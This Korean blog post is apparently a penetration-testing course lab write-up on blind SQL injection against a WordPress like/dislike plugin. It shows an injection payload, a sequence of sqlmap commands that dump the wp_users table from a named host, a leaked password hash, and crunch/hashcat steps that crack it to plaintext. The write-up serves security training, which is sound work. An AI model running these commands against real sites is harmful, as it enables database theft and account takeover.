본문 바로가기

🔒 정보보안/🎇 모의해킹

모의해킹 실습과정 - 5

퀴즈 1 ) SQLI 의 종류는 무엇인가?

 

퀴즈 2) DB의 첫 글자 추출

 

퀴즈 1

SQL의 종류에는 Error Based Injection, Union Injection, Blind Injection 크게 3가지가 존재한다.

구문을 하나씩 버프 슈트를 이용해 넣어보자.

 

그 중 Blind Inject이 입력 값에 따라 출력 값이 다르다

 

이를 통해 SQLI의 종류는 Blind Injection을 밝혔다.

퀴즈 2

and substing(database(),1,1) = char(119) 를 통해 첫 번째 값은 w라는 걸 알아냈다.

 

사실 퀴즈 2는 우회를 통해 값을 얻어냈다. 처음에는 'a' 를 이용해 값을 찾아 내려했지만 > = < 모든 부등호에서 값이 0 이  떴다. 이걸 통해 혹시 ' 가 문제 인가? 생각해 ' 를 쓰지 않는 방향인 숫자인 아스키코드를 이용해 우회해 값을 알아냈다.

 

사실 wordpress의 db의 기본값의 w로 시작하기 때문에 이렇게도 추측할 수 있다.

 

파이썬을 다룰줄 안다면 파이썬으로 코드제작해 알아낼 수 도 있다.

 

SQLmap

SQLmap을 이용한 사용자 계정, 비밀번호 추출

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter
.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL

 

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter
.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dbs

 

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter
.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --tables -D wordpress

 

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter
.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --columns -T wp-users -D wordpress

 

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_usermeta -D wordpress

 

 

위와 같이 kisec이 admin 계정임을 파악 할 수 있다.

 

sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=like" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_users -D wordpress

 

id와 pw을 알아냈다 하지만 패스워드는 해시 값으로 되어 있다.

이제 해시값을 복호화해 보겠다.

 

패스워드 크랙

hash-identifier 툴을 이용해 어떤 해시 종류로 암호화 되어 있는지 확인

MD5로 되어있다.

현재 MD5는 취약점이 발견되어 안쓰는 추세이고 MD5는 쉽게 복호화가 가능하다.

추가로 $ $사이의 문자로 어떤 해시로 암호화 되어 있는 유추가능 MD5는 $P$

hashcat

패스워드 크랙을 위한 사전파일 제작

mkdir sample && cd sample

crunch 5 5 -f /usr/share/crunch/charset.lst lalpha -o wordlist.txt

echo '$P$BZQMJfy/aHvpLHFrJWb51YsLXDzYdI1' > passwd.txt

 

hashcat 도구를 사용하여 패스워드 크랙

docker pull dizcza/docker-hashcat:intel-cpu

docker run -it --rm -v $(pwd)/sample:/sample dizcza/docker-hashcat:intel-cpu bash

cd /sample/

hashcat -a 0 -m 400 -d 1 -o crack.txt passwd.txt wordlist.txt --force

 

비밀번호는 kisec이라고 알수 있게된다.!!!

 

 

 

이 글은 K-Shleid 주니어 8기의 모의해킹 심화과정의 내용이며 공부한 내용을 바탕으로 쓰는 글이다.

모든 저작권은 K-Shleid 주니어에 있다.

http://www.kshieldjr.org/

'🔒 정보보안 > 🎇 모의해킹' 카테고리의 다른 글

모의해킹 실습과 여러가지 툴 이용 - 4  (0) 2022.08.02
TTPs 와 ATT&ck - 3  (0) 2022.08.02
모의해킹 업무 절차 - 2  (0) 2022.07.30
모의해킹이란? - 1  (0) 2022.07.30